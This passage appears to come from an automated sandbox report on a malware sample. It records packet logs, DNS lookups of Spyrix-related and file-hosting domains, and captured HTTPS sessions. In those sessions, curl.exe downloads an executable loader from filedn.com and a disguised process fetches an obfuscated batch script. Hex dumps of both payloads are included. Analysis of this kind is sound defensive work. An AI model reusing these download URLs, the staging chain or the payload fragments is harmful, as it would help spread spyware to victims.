Oct 2, 2024 06:10:31.111311913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.111340046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.111351013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.111756086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.111774921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.111808062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.111815929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.111838102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.111852884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.112334013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.112349033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.112381935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.112386942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.112422943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.112432957 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.113382101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.113399029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.113449097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.113454103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.113679886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.114689112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.114703894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.114741087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.114747047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.114775896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.114784002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.120783091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.120872021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.120908022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.120932102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.120937109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.120978117 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.121160984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.121195078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.121217966 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.121227026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.121246099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.121265888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.201524973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.201543093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.201603889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.201618910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.201663971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.202111006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202126026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202186108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.202192068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202266932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.202478886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202496052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202543974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.202548981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202574968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.202594042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.202945948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.202960968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.203016996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.203021049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.203116894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.204155922 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.204171896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.204224110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.204235077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.204452038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.205277920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.205296040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.205352068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.205357075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.205497980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:31.211545944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:31.211561918 CEST	443	49744	167.114.14.168	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 06:09:59.607768059 CEST	192.168.2.4	1.1.1.1	0xc54a	Standard query (0)	filedn.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:06.424912930 CEST	192.168.2.4	1.1.1.1	0xbf2	Standard query (0)	cdnbaynet.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:10.082133055 CEST	192.168.2.4	1.1.1.1	0x39c	Standard query (0)	swtb-download.spyrix-sfk.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:34.894213915 CEST	192.168.2.4	1.1.1.1	0xcca6	Standard query (0)	dashboard.spyrix.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:34.894381046 CEST	192.168.2.4	1.1.1.1	0x6879	Standard query (0)	dashboard.spyrix.com	65	IN (0x0001)	false
Oct 2, 2024 06:11:35.708673000 CEST	192.168.2.4	1.1.1.1	0x9d32	Standard query (0)	cdn.cdndownload.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:35.709037066 CEST	192.168.2.4	1.1.1.1	0x76f5	Standard query (0)	cdn.cdndownload.net	65	IN (0x0001)	false
Oct 2, 2024 06:11:37.551212072 CEST	192.168.2.4	1.1.1.1	0xcfea	Standard query (0)	cdn.cdndownload.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:37.551450968 CEST	192.168.2.4	1.1.1.1	0x8335	Standard query (0)	cdn.cdndownload.net	65	IN (0x0001)	false
Oct 2, 2024 06:11:38.083857059 CEST	192.168.2.4	1.1.1.1	0x12e1	Standard query (0)	dashboard.spyrix.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:38.084290028 CEST	192.168.2.4	1.1.1.1	0x17bf	Standard query (0)	dashboard.spyrix.com	65	IN (0x0001)	false
Oct 2, 2024 06:11:38.494923115 CEST	192.168.2.4	1.1.1.1	0x6b25	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:38.495400906 CEST	192.168.2.4	1.1.1.1	0x8751	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 2, 2024 06:11:39.768945932 CEST	192.168.2.4	1.1.1.1	0xbc53	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:12:08.483913898 CEST	192.168.2.4	1.1.1.1	0xeaae	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 06:09:59.636753082 CEST	1.1.1.1	192.168.2.4	0xc54a	No error (0)	filedn.com		23.109.93.100	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:06.461412907 CEST	1.1.1.1	192.168.2.4	0xbf2	No error (0)	cdnbaynet.com		167.114.14.170	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:10.100588083 CEST	1.1.1.1	192.168.2.4	0x39c	No error (0)	swtb-download.spyrix-sfk.com		167.114.14.168	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:34.906104088 CEST	1.1.1.1	192.168.2.4	0xcca6	No error (0)	dashboard.spyrix.com		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:35.757433891 CEST	1.1.1.1	192.168.2.4	0x76f5	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:35.766613960 CEST	1.1.1.1	192.168.2.4	0x9d32	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:35.766613960 CEST	1.1.1.1	192.168.2.4	0x9d32	No error (0)	cl-e0469d03.edgecdn.ru		95.181.182.182	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:37.589651108 CEST	1.1.1.1	192.168.2.4	0x8335	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:37.598234892 CEST	1.1.1.1	192.168.2.4	0xcfea	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:37.598234892 CEST	1.1.1.1	192.168.2.4	0xcfea	No error (0)	cl-e0469d03.edgecdn.ru		95.181.182.182	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:38.096101999 CEST	1.1.1.1	192.168.2.4	0x12e1	No error (0)	dashboard.spyrix.com		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:38.501802921 CEST	1.1.1.1	192.168.2.4	0x6b25	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:38.501904964 CEST	1.1.1.1	192.168.2.4	0x8751	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 2, 2024 06:11:39.786730051 CEST	1.1.1.1	192.168.2.4	0xbc53	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:12:08.515602112 CEST	1.1.1.1	192.168.2.4	0xeaae	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	23.109.93.100	443	2944	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:00 UTC	131	OUT	GET /lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404 HTTP/1.1 Host: filedn.com User-Agent: curl/7.83.1 Accept: /
2024-10-02 04:10:00 UTC	392	IN	HTTP/1.1 200 OK Server: CacheHTTPd v1.0 Date: Wed, 02 Oct 2024 04:10:00 +0000 Content-Type: application/octet-stream Content-Length: 90112 Etag: "b17ebb04ce423601b14b45f5c0fd1aa08175298c" Expires: Wed, 02 Oct 2024 10:09:09 +0000 Content-Disposition: attachment; filename="404" Accept-Ranges: bytes Content-Transfer-Encoding: binary Connection: keep-alive Keep-Alive: timeout=30
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 57 2d 3e fc 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 50 01 00 00 0e 00 00 00 00 00 00 22 6e 01 00 00 20 00 00 00 80 01 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELW->"0P"n @ `
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 01 00 01 00 81 00 10 00 96 08 7d 08 59 00 0b 00 07 00 01 00 10 00 87 08 7d 08 0c 00 10 00 0e 00 01 00 10 00 a5 08 7d 08 0c 00 11 00 14 00 00 00 10 00 ee 08 7d 08 59 00 11 00 18 00 80 01 10 00 d5 06 7d 08 59 00 11 00 1a 00 00 00 10 00 55 0a 7d 08 59 00 11 00 1b 00 00 00 10 00 c8 09 24 0a 59 00 14 00 1d 00 00 01 10 00 55 0a 24 0a a5 00 16 00 22 00 03 01 10 00 15 00 00 00 59 00 17 00 25 00 01 00 b8 08 2a 02 16 00 1c 09 2e 02 11 00 8c 0c 32 02 01 00 45 0b 36 02 01 00 05 0b 39 02 01 00 5a 00 3d 02 06 00 59 08 41 02 06 00 9b 0b 45 02 01 00 4d 00 45 02 01 00 6e 00 45 02 01 00 fb 00 49 02 01 00 69 03 50 02 04 00 9f 01 36 02 04 00 cb 08 36 02 04 00 e6 0b 36 02 01 00 42 09 57 02 36 00 c4 08 36 02 36 00 a6 0b 36 02 36 00 21 06 36 02 11 00 f0 06 5b 02 11 00 2c 03 60 Data Ascii: }Y}}}Y}YU}Y$YU$"Y%*.2E69Z=YAEMEnEIiP666BW66666!6[,`
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 6f 6c 6c 65 63 74 69 6f 6e 00 57 65 62 48 65 61 64 65 72 43 6f 6c 6c 65 63 74 69 6f 6e 00 73 65 74 5f 53 74 61 72 74 50 6f 73 69 74 69 6f 6e 00 46 6f 72 6d 53 74 61 72 74 50 6f 73 69 74 69 6f 6e 00 45 78 63 65 70 74 69 6f 6e 00 52 75 6e 00 46 69 6c 65 49 6e 66 6f 00 43 75 6c 74 75 72 65 49 6e 66 6f 00 67 65 74 5f 53 74 61 72 74 49 6e 66 6f 00 50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f 00 44 69 72 65 63 74 6f 72 79 49 6e 66 6f 00 42 69 74 6d 61 70 00 73 65 74 5f 54 61 62 53 74 6f 70 00 50 72 6f 67 72 65 73 73 42 61 72 00 70 72 6f 67 72 65 73 73 42 61 72 00 53 74 72 65 61 6d 52 65 61 64 65 72 00 54 65 78 74 52 65 61 64 65 72 00 53 66 6b 4c 6f 61 64 65 72 00 46 69 6c 65 44 6f 77 6e 6c 6f 61 64 65 72 00 42 61 73 65 44 6f 77 6e 6c 6f 61 64 65 72 00 49 6e Data Ascii: ollectionWebHeaderCollectionset_StartPositionFormStartPositionExceptionRunFileInfoCultureInfoget_StartInfoProcessStartInfoDirectoryInfoBitmapset_TabStopProgressBarprogressBarStreamReaderTextReaderSfkLoaderFileDownloaderBaseDownloaderIn
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 42 00 77 00 62 00 31 00 37 00 4d 00 4a 00 41 00 35 00 49 00 38 00 49 00 7a 00 63 00 71 00 6d 00 4f 00 76 00 69 00 71 00 69 00 36 00 32 00 51 00 56 00 78 00 46 00 6a 00 5a 00 33 00 37 00 6f 00 4b 00 66 00 6e 00 69 00 50 00 69 00 46 00 6e 00 41 00 4f 00 6f 00 6b 00 6a 00 6a 00 32 00 46 00 65 00 77 00 75 00 42 00 65 00 53 00 52 00 45 00 33 00 4b 00 66 00 4a 00 48 00 69 00 6a 00 42 00 4a 00 55 00 37 00 54 00 78 00 48 00 58 00 6f 00 71 00 34 00 70 00 54 00 52 00 52 00 70 00 76 00 34 00 38 00 45 00 6c 00 49 00 36 00 4a 00 30 00 4f 00 69 00 6f 00 45 00 43 00 34 00 67 00 61 00 6e 00 6e 00 61 00 50 00 6b 00 69 00 51 00 58 00 59 00 47 00 54 00 69 00 6c 00 36 00 77 00 6c 00 65 00 73 00 4f 00 48 00 64 00 37 00 31 00 4d 00 4b 00 47 00 46 00 50 00 62 00 54 00 6d 00 75 Data Ascii: Bwb17MJA5I8IzcqmOviqi62QVxFjZ37oKfniPiFnAOokjj2FewuBeSRE3KfJHijBJU7TxHXoq4pTRRpv48ElI6J0OioEC4gannaPkiQXYGTil6wlesOHd71MKGFPbTmu
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: a1 14 1e ce 5d 6a 07 15 98 5b 52 cc 8d 8e 51 b9 75 2e cd cd 70 1b 60 fc 8f 69 e6 8b a8 f3 4f 2e 41 8c 17 f0 b3 fc 77 2b 2d 64 3e a9 51 71 e7 ba 44 7b 6b 82 bd 23 c9 bb 17 ae 76 32 02 4b e5 49 b9 10 4f 4d e5 aa 70 40 0d 64 db 9e d9 36 ba d5 64 b6 db 87 33 21 76 fb 70 ba 0a 76 e9 80 87 f9 ec cd 09 f6 da 44 ef 9a 38 45 90 4b e6 75 5e 14 ed 77 cf 36 9f d5 99 27 b3 bb b8 f0 a1 4c 8f 5f 26 ae ff 25 dc 45 f7 c9 f6 d0 c9 f2 f8 2e 9e 77 1e 1f f0 3c a8 8b 63 bb 30 db 19 c2 77 3f dc 4c e4 be 2c d6 07 05 6c 25 f4 fe 26 a1 f8 e1 e6 d0 07 db b1 86 d0 07 1b 04 fc 47 db 0e c2 32 3e da 22 fb 00 cb 0f b6 1e f4 21 c7 3b ba 7d b8 01 fb 38 68 e4 e6 3f 87 5b 6a ec 48 cc e5 a3 1d 7f 0a f3 2f 8f 97 dd 04 5f 54 e1 98 df e4 20 e0 d8 47 72 24 dc 78 bc f7 2a fd 84 25 16 f7 e2 91 f0 Data Ascii: ]j[RQu.p`iO.Aw+-d>QqD{k#v2KIOMp@d6d3!vpvD8EKu^w6'L_&%E.w<c0w?L,l%&G2>"!;}8h?[jH/_T Gr$x*%
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: b6 4f ba 91 7c bb 14 c8 dd 72 6c 9c 77 6f ba 16 49 ca 5b 66 a7 34 da ee d9 7e 77 37 f2 f5 8e 54 c2 83 c7 cf 41 09 e7 cf dd f3 92 7b 59 be 83 fc cb 5f fb 03 39 99 f6 15 71 f6 da 78 ff fa 44 8a 3c 9e 77 60 9e d2 60 46 2f 50 da 15 8c 8a b8 21 c9 dc 10 6f 42 e8 f0 cb 39 3b 8e 7f 6b a5 17 00 ee 91 d6 39 70 be 69 da 60 5e 2e 51 9b cc fd a9 5a 53 85 f0 00 7b 70 e6 05 73 bf 93 6f 5f c9 6b 3f 20 f7 2f 53 d7 99 7f 99 62 b4 3a d3 08 c1 24 d8 61 0d fe db 95 f6 ae 14 1f a4 f1 67 50 07 6f ac 41 f2 0d df 45 c1 dd 94 e4 61 08 f7 a7 aa cd f5 c1 2c fb 7e b5 ad 58 2e 05 17 ac 84 44 38 e7 6b c1 da ae 7b 5c 72 2f cb 77 90 7f f9 6b 7f bc fc e2 b9 f6 d2 b9 ea fa 02 ca 4b 62 24 bf 20 f3 37 4a d5 06 07 e7 8b f6 1d e1 5f ef 16 27 0d fd 73 ae c7 49 57 c6 fb 37 25 d8 5b dd a2 66 24 Data Ascii: O\|rlwoI[f4~w7TA{Y_9qxD<w``F/P!oB9;k9pi`^.QZS{pso_k? /Sb:$agPoAEa,~X.D8k{\r/wkKb$ 7J_'sIW7%[f$
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 67 66 98 51 e9 a6 b2 dd 6c da 7e e0 e7 03 7c 53 af 6d 3b 95 da c1 64 43 a2 cd 53 5f 71 7b 4e 8f 49 e6 8c 48 f1 34 8a fb cd 12 35 a3 fd 23 42 ed 30 c1 d6 95 7f 0a eb 24 b4 6b 2a 32 99 db 04 4d 43 0f 9d 30 4b ed ac 83 0a 6d ff 5c 2d 2c f1 51 95 20 07 69 e4 1b 3f 71 77 8a 36 49 85 cc 1f c8 d4 5c d4 ee e9 fb de ad f2 e5 a5 f7 14 fb 56 bc 49 af 33 cb 37 98 ff 18 e0 79 6d d9 61 aa 97 98 49 79 e6 c5 28 d9 f7 1e 4f 7d 40 8a 96 fa 8b d2 88 e4 b7 2a 7d f2 6a 7c fd a8 19 6a 75 07 75 32 b7 3f 46 68 b6 e9 ef a7 f8 bf 0b d3 8a 12 97 c5 5a 41 4e 2c 47 b5 45 34 d9 94 25 f6 ad 32 43 2c bf 2a 41 fb a9 68 b9 ee 54 ad e1 0a 99 cb c5 9d 97 3f 98 be e7 25 0f 60 79 3c dc be 3a 4f 3d 1c 2b 36 4a 19 fd c7 bc d4 9e b3 ce a6 d5 75 75 d7 1e 58 a7 07 f2 9e 99 f6 fd 05 3e 02 ed d4 d9 Data Ascii: gfQl~\|Sm;dCS_q{NIH45#B0$k2MC0Km\-,Q i?qw6I\VI37ymaIy(O}@}j\|juu2?FhZAN,GE4%2C,*AhT?%`y<:O=+6JuuX>
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 30 bb 64 1f f7 fe fd 8f 7c 6d de 6e c7 ec eb 10 84 ee 68 b7 70 6d 63 7d c4 54 35 ad 43 d5 b7 a5 f8 7f 15 de e6 b8 d9 c1 aa ae 6a 38 1f 58 64 5f 2b 53 2f e8 a5 31 9a aa d0 b5 1e 3b 5e 4e 86 76 fa 1c b9 38 4a 6f 78 85 f4 39 3c ef 52 73 ad fd 18 db 66 a7 35 d9 47 33 b4 cb 31 a5 4f ac ff c8 be 2e 65 f4 42 94 ed 58 df f5 c0 df bd ea 97 69 3b 8f 3d aa 68 2f cb 43 61 e6 c4 70 ad ce 4c aa f5 54 9e bd 23 c9 fb 6b b8 5b f1 6d 86 a8 fe 64 ad 19 a1 f5 42 8e 9f ae 86 d4 17 8a ed cb a5 de c3 19 6e 6f 95 d3 dd da 40 67 44 7a a0 7e 91 eb 56 79 be 48 83 e5 f8 15 28 fd c9 7c 9b b8 b0 73 6c 8d 79 d0 6d a7 e3 f2 34 d3 1b b9 b1 af 90 e3 e8 e9 df 44 73 c7 b7 f0 45 2d 90 2c ec 51 3f 7b 5f ee 99 64 0e 9f 22 77 ed 93 ed a3 b2 0f 0b 97 5b 1f 39 5d 48 23 d1 00 fe a4 19 e6 98 99 6a Data Ascii: 0d\|mnhpmc}T5Cj8Xd_+S/1;^Nv8Jox9<Rsf5G31O.eBXi;=h/CapLT#k[mdBno@gDz~VyH(\|slym4DsE-,Q?{_d"w[9]H#j
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: cf d2 67 8a 56 03 2b 5a 68 b6 ed d3 40 4a c0 5e b9 d1 84 e5 99 7e d3 bf 8e b5 82 7b 4e 36 f7 cc f2 af 8d 35 57 cd 33 d4 30 31 91 6a 3f 73 8e c1 5f 29 f8 ee 63 d9 9a 2a 7a d4 34 9f 80 ad 0e 31 35 ce 08 7e de 9d af 3b 0b 88 50 22 c7 87 37 24 99 01 c5 6a 3e 21 ff 92 da 0f d7 69 87 45 c8 26 b0 92 a3 23 4c 08 99 fd 69 bd 1d 57 d7 09 81 83 f7 cd 49 ca d0 ee 4e d6 00 c8 a0 c3 b4 47 86 cf 25 f1 f2 c7 72 35 aa 95 42 16 3e a8 50 78 27 2c f2 f3 97 9a f7 aa 0c 3e 1d df 26 6e 8f 68 d2 4c 76 ca ab a5 fe d0 12 f3 6a b9 7d d3 e1 8d 11 bc 5a 06 ea 5e 58 9d 79 33 d9 3c 7a a0 5b 64 ff d7 82 9e 9f 92 6f 16 ad fe d7 dc 7d 67 a7 16 85 7a ed ab 69 4a fa 9f a5 47 b8 b9 37 4a b4 7a 4d bc b6 48 b9 34 c6 c3 d3 08 9a 24 4d e7 46 99 db 53 94 25 5d 14 ed a3 e3 4e 9c ee 66 95 3a d4 8f Data Ascii: gV+Zh@J^~{N65W301j?s_)c*z415~;P"7$j>!iE&#LiWING%r5B>Px',>&nhLvj}Z^Xy3<z[do}gziJG7JzMH4$MFS%]Nf:
2024-10-02 04:10:00 UTC	4096	IN	Data Raw: 95 ce c0 f3 c8 7e c2 79 30 16 19 17 c7 dd 2f d6 5e 38 ea 33 3d 2b 52 5b 5f 41 f5 fc 13 8f 3f 49 46 a0 71 e8 84 70 6c 02 6d 84 0f a3 10 a5 e7 5d b3 7c e8 cd 52 6f 4a 8b 9d da e4 91 68 e1 d6 58 19 24 43 51 23 be eb 40 d3 0c 34 e4 fa 7c 13 8c 77 1b 52 2c ff 9e d5 e2 a7 76 c8 b9 a5 c0 95 8c 09 42 70 25 e2 22 ca 78 30 6c 08 44 b9 5d 7c 14 5c 93 db 65 1f 3c 2a e7 8c a9 01 75 98 40 ee fb f1 02 cd 86 e1 77 90 7e 3c 18 8e 0e d5 c7 b7 db 45 1b ed 86 9d da e7 ae 68 a5 9b 12 fd fe 96 27 73 54 5f 48 fd 98 45 1e 60 73 9c b4 d8 a6 74 48 f6 27 2d 36 13 cb fc 41 51 fe 57 9a be f7 98 62 1e 9a 65 ee 4b d4 52 4a 88 1e d0 95 ec 75 8d 19 38 25 38 c1 e7 bf 9c 60 be f7 72 73 68 50 f1 f7 3f 31 09 ed 76 c5 36 3d 2c e0 dd 18 2f 81 02 33 15 ae f0 b9 6d 04 3c c1 11 e7 41 8e f5 cf 97 Data Ascii: ~y0/^83=+R[_A?IFqplm]\|RoJhX$CQ#@4\|wR,vBp%"x0lD]\|\e<*u@w~<Eh'sT_HE`stH'-6AQWbeKRJu8%8`rshP?1v6=,/3m<A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	23.109.93.100	443	1900	C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:03 UTC	111	OUT	GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s108 HTTP/1.1 Host: filedn.com Connection: Keep-Alive
2024-10-02 04:10:03 UTC	393	IN	HTTP/1.1 200 OK Server: CacheHTTPd v1.0 Date: Wed, 02 Oct 2024 04:10:03 +0000 Content-Type: application/octet-stream Content-Length: 13694 Etag: "fb7ce28d56e3905f9e0a3c1b2cf7cf53053950a4" Expires: Wed, 02 Oct 2024 10:10:03 +0000 Content-Disposition: attachment; filename="s108" Accept-Ranges: bytes Content-Transfer-Encoding: binary Connection: keep-alive Keep-Alive: timeout=30
2024-10-02 04:10:03 UTC	4096	IN	Data Raw: 72 65 6d 20 71 68 71 62 63 33 6f 74 73 63 37 66 34 61 7a 35 6a 69 6a 62 65 70 6a 6a 78 30 38 71 71 72 30 36 0d 0a 72 65 6d 20 36 33 69 61 79 35 67 72 69 6a 70 73 77 64 39 76 75 38 61 69 67 78 73 69 39 77 35 75 33 6c 62 61 65 6a 33 66 69 76 6d 74 6d 6a 64 65 77 67 71 6f 33 35 64 6d 61 7a 39 38 6e 73 6d 33 64 6c 6b 66 68 6c 33 62 70 74 75 75 71 78 75 78 77 30 72 70 6e 78 0d 0a 40 65 63 68 6f 20 6f 66 66 0d 0a 72 65 6d 20 32 62 33 30 34 30 33 6e 31 78 70 67 67 69 73 62 67 6d 73 76 6b 65 30 68 78 71 30 32 72 0d 0a 72 65 6d 20 64 67 75 32 68 64 63 79 6d 35 31 31 78 78 63 37 65 33 76 78 36 30 72 78 72 38 6c 65 72 69 63 6c 68 67 31 6b 79 69 35 69 71 67 6f 6f 35 30 77 63 6e 0d 0a 72 65 6d 20 78 6a 6e 39 30 64 6f 6a 69 61 70 35 31 6d 62 74 33 30 30 38 6f 76 72 67 Data Ascii: rem qhqbc3otsc7f4az5jijbepjjx08qqr06rem 63iay5grijpswd9vu8aigxsi9w5u3lbaej3fivmtmjdewgqo35dmaz98nsm3dlkfhl3bptuuqxuxw0rpnx@echo offrem 2b30403n1xpggisbgmsvke0hxq02rrem dgu2hdcym511xxc7e3vx60rxr8lericlhg1kyi5iqgoo50wcnrem xjn90dojiap51mbt3008ovrg
